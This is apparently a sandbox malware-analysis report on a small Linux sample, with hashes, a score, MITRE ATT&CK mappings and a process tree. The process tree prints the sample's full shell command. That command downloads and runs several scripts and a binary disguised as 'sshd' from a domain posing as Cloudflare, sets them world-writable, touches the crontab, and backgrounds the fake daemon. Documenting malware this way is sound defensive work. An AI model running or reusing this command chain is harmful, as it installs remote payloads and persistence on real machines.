d2c57d24dbda375214c4df8c774533e91c3f75f87aa675a48d596ddd6df59651

Analysis

max time kernel
1s
max time network
136s
platform
ubuntu-20.04_amd64
resource
ubuntu2004-amd64-20241127-en
resource tags

arch:amd64arch:i386image:ubuntu2004-amd64-20241127-enkernel:5.4.0-169-genericlocale:en-usos:ubuntu-20.04-amd64system
submitted
21-12-2024 17:23

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

ea7d79f0ddb431684f63a901afc596af24898555200fc14cc2616e42ab95ea5d.bin
Size

1KB
MD5

f105102404cda7e7de2ac1ae54d9a78c
SHA1

8ff5bcf2c69056780f0a7b51c96bba243dca2201
SHA256

ea7d79f0ddb431684f63a901afc596af24898555200fc14cc2616e42ab95ea5d
SHA512

587541b47ea669cd3a5cf952ed678b2399c9be0511455b3ac8476072fcb7a713489405a7f35506b7197674678350ead3437847d513fb63f4f8a9db447f99c92c

Score

7^/10

defense_evasion execution persistence privilege_escalatio

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 13 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1393	chmod
1433	chmod
1442	chmod
1391	sh
1403	chmod
1406	chmod
1416	chmod
1419	chmod
1423	chmod
1426	chmod
1446	chmod
1399	chmod
1449	chmod

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.MmL3J3	crontab

Command and Scripting Interpreter: Unix Shell 1 TTPs 2 IoCs

Execute scripts via Unix Shell.

execution

Unix Shell

T1059.004

pid	Process
1430	sh
1453	sh

/tmp/ea7d79f0ddb431684f63a901afc596af24898555200fc14cc2616e42ab95ea5d.bin
/tmp/ea7d79f0ddb431684f63a901afc596af24898555200fc14cc2616e42ab95ea5d.bin
1⤵
PID:1391

/bin/sh
/bin/sh -c "wget -nc http://dash.cloudflare.ovh/dns/unix.sh -q -P /var/tmp/; chmod 777 /var/tmp/unix.sh; curl http://dash.cloudflare.ovh/dns/unix.sh -s -o /var/tmp/unix.sh; chmod 777 /var/tmp/unix.sh; cd /var/tmp; ./unix.sh; cd /var/tmp; rm unix.sh; wget -nc http://dash.cloudflare.ovh/dns/sshd -q -P /var/tmp/; chmod 777 /var/tmp/sshd; curl http://dash.cloudflare.ovh/dns/sshd -s -o /var/tmp/sshd; chmod 777 /var/tmp/sshd; wget -nc http://dash.cloudflare.ovh/dns/config.json -q -P /var/tmp/; curl http://dash.cloudflare.ovh/dns/config.json -s -o /var/tmp/config.json; crontab -l 2>/dev/null | grep -qxF '' || (crontab -l 2>/dev/null ; echo '') | crontab -; wget -nc http://dash.cloudflare.ovh/dns/truct.sh -q -P /var/tmp/; chmod 777 /var/tmp/truct.sh; curl http://dash.cloudflare.ovh/dns/truct.sh -s -o /var/tmp/truct.sh; chmod 777 /var/tmp/truct.sh; cd /var/tmp; ./truct.sh 2>/dev/null; cd /var/tmp; rm truct.sh; wget -nc http://dash.cloudflare.ovh/dns/brict.sh -q -P /var/tmp/; chmod 777 /var/tmp/brict.sh; curl http://dash.cloudflare.ovh/dns/brict.sh -s -o /var/tmp/brict.sh; chmod 777 /var/tmp/brict.sh; cd /var/tmp; ./brict.sh 2>/dev/null; cd /var/tmp; rm brict.sh; /usr/bin/flock -n /var/tmp/vm.lock -c 'cd /var/tmp; nohup ./sshd >/dev/null 2>&1 &'; wget -nc http://dash.cloudflare.ovh/dns/retrict.sh -q -P /var/tmp/; chmod 777 /var/tmp/retrict.sh; curl http://dash.cloudflare.ovh/dns/retrict.sh -s -o /var/tmp/retrict.sh; chmod 777 /var/tmp/retrict.sh; cd /var/tmp; ./retrict.sh 2>/dev/null; cd /var/tmp; rm retrict.sh; wget -nc http://dash.cloudflare.ovh/dns/politrict.sh -q -P /var/tmp/; chmod 777 /var/tmp/politrict.sh; curl http://dash.cloudflare.ovh/dns/politrict.sh -s -o /var/tmp/politrict.sh; chmod 777 /var/tmp/politrict.sh; cd /var/tmp; ./politrict.sh 2>/dev/null; cd /var/tmp; rm politrict.sh; /usr/bin/flock -n /var/tmp/vm.lock -c 'cd /var/tmp; nohup ./sshd >/dev/null 2>&1 &'"
1⤵
- File and Directory Permissions Modification
PID:1391
- /usr/bin/wget
  wget -nc http://dash.cloudflare.ovh/dns/unix.sh -q -P /var/tmp/
  2⤵
  PID:1392
- /usr/bin/chmod
  chmod 777 /var/tmp/unix.sh
  2⤵
  - File and Directory Permissions Modification
  PID:1393
- /usr/bin/curl
  curl http://dash.cloudflare.ovh/dns/unix.sh -s -o /var/tmp/unix.sh
  2⤵
  PID:1394
- /usr/bin/chmod
  chmod 777 /var/tmp/unix.sh
  2⤵
  - File and Directory Permissions Modification
  PID:1399
- /var/tmp/unix.sh
  ./unix.sh
  2⤵
  PID:1400
- /usr/bin/rm
  rm unix.sh
  2⤵
  PID:1401
- /usr/bin/wget
  wget -nc http://dash.cloudflare.ovh/dns/sshd -q -P /var/tmp/
  2⤵
  PID:1402
- /usr/bin/chmod
  chmod 777 /var/tmp/sshd
  2⤵
  - File and Directory Permissions Modification
  PID:1403
- /usr/bin/curl
  curl http://dash.cloudflare.ovh/dns/sshd -s -o /var/tmp/sshd
  2⤵
  PID:1404
- /usr/bin/chmod
  chmod 777 /var/tmp/sshd
  2⤵
  - File and Directory Permissions Modification
  PID:1406
- /usr/bin/wget
  wget -nc http://dash.cloudflare.ovh/dns/config.json -q -P /var/tmp/
  2⤵
  PID:1407
- /usr/bin/curl
  curl http://dash.cloudflare.ovh/dns/config.json -s -o /var/tmp/config.json
  2⤵
  PID:1408
- /usr/bin/grep
  grep -qxF
  2⤵
  PID:1411
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1410
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1413
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1414
- /usr/bin/wget
  wget -nc http://dash.cloudflare.ovh/dns/truct.sh -q -P /var/tmp/
  2⤵
  PID:1415
- /usr/bin/chmod
  chmod 777 /var/tmp/truct.sh
  2⤵
  - File and Directory Permissions Modification
  PID:1416
- /usr/bin/curl
  curl http://dash.cloudflare.ovh/dns/truct.sh -s -o /var/tmp/truct.sh
  2⤵
  PID:1417
- /usr/bin/chmod
  chmod 777 /var/tmp/truct.sh
  2⤵
  - File and Directory Permissions Modification
  PID:1419
- /var/tmp/truct.sh
  ./truct.sh
  2⤵
  PID:1420
- /usr/bin/rm
  rm truct.sh
  2⤵
  PID:1421
- /usr/bin/wget
  wget -nc http://dash.cloudflare.ovh/dns/brict.sh -q -P /var/tmp/
  2⤵
  PID:1422
- /usr/bin/chmod
  chmod 777 /var/tmp/brict.sh
  2⤵
  - File and Directory Permissions Modification
  PID:1423
- /usr/bin/curl
  curl http://dash.cloudflare.ovh/dns/brict.sh -s -o /var/tmp/brict.sh
  2⤵
  PID:1424
- /usr/bin/chmod
  chmod 777 /var/tmp/brict.sh
  2⤵
  - File and Directory Permissions Modification
  PID:1426
- /var/tmp/brict.sh
  ./brict.sh
  2⤵
  PID:1427
- /usr/bin/rm
  rm brict.sh
  2⤵
  PID:1428
- /usr/bin/flock
  /usr/bin/flock -n /var/tmp/vm.lock -c "cd /var/tmp; nohup ./sshd >/dev/null 2>&1 &"
  2⤵
  PID:1429
- - /bin/sh
    /bin/sh -c "cd /var/tmp; nohup ./sshd >/dev/null 2>&1 &"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1430
- /usr/bin/wget
  wget -nc http://dash.cloudflare.ovh/dns/retrict.sh -q -P /var/tmp/
  2⤵
  PID:1432
- /usr/bin/chmod
  chmod 777 /var/tmp/retrict.sh
  2⤵
  - File and Directory Permissions Modification
  PID:1433
- /usr/bin/curl
  curl http://dash.cloudflare.ovh/dns/retrict.sh -s -o /var/tmp/retrict.sh
  2⤵
  PID:1434
- /usr/bin/chmod
  chmod 777 /var/tmp/retrict.sh
  2⤵
  - File and Directory Permissions Modification
  PID:1442
- /var/tmp/retrict.sh
  ./retrict.sh
  2⤵
  PID:1443
- /usr/bin/rm
  rm retrict.sh
  2⤵
  PID:1444
- /usr/bin/wget
  wget -nc http://dash.cloudflare.ovh/dns/politrict.sh -q -P /var/tmp/
  2⤵
  PID:1445
- /usr/bin/chmod
  chmod 777 /var/tmp/politrict.sh
  2⤵
  - File and Directory Permissions Modification
  PID:1446
- /usr/bin/curl
  curl http://dash.cloudflare.ovh/dns/politrict.sh -s -o /var/tmp/politrict.sh
  2⤵
  PID:1447
- /usr/bin/chmod
  chmod 777 /var/tmp/politrict.sh
  2⤵
  - File and Directory Permissions Modification
  PID:1449
- /var/tmp/politrict.sh
  ./politrict.sh
  2⤵
  PID:1450
- /usr/bin/rm
  rm politrict.sh
  2⤵
  PID:1451
- /usr/bin/flock
  /usr/bin/flock -n /var/tmp/vm.lock -c "cd /var/tmp; nohup ./sshd >/dev/null 2>&1 &"
  2⤵
  PID:1452
- - /bin/sh
    /bin/sh -c "cd /var/tmp; nohup ./sshd >/dev/null 2>&1 &"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1453

/usr/bin/nohup
nohup ./sshd
1⤵
PID:1431

/var/tmp/sshd
./sshd
1⤵
PID:1431

/usr/bin/nohup
nohup ./sshd
1⤵
PID:1454

/var/tmp/sshd
./sshd
1⤵
PID:1454

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Unix Shell

T1059.004

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/var/spool/cron/crontabs/tmp.MmL3J3

Filesize
176B

MD5
67b6668ae3b2e39c724ebae860d319d3

SHA1
f9bf92862a8bf444655aed26b3a3cdce340e41c6

SHA256
42a862b651aa1a1699096052352f63fbe262d76c546834a621d616b10805f4f0

SHA512
3b855cfa64f130fd3c95300418fce40802007c047259d44a515c7dd8929d86342da6251ddff83f32abd691efb5df77cdd34065cad0bd204c6238eb79999435fe

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads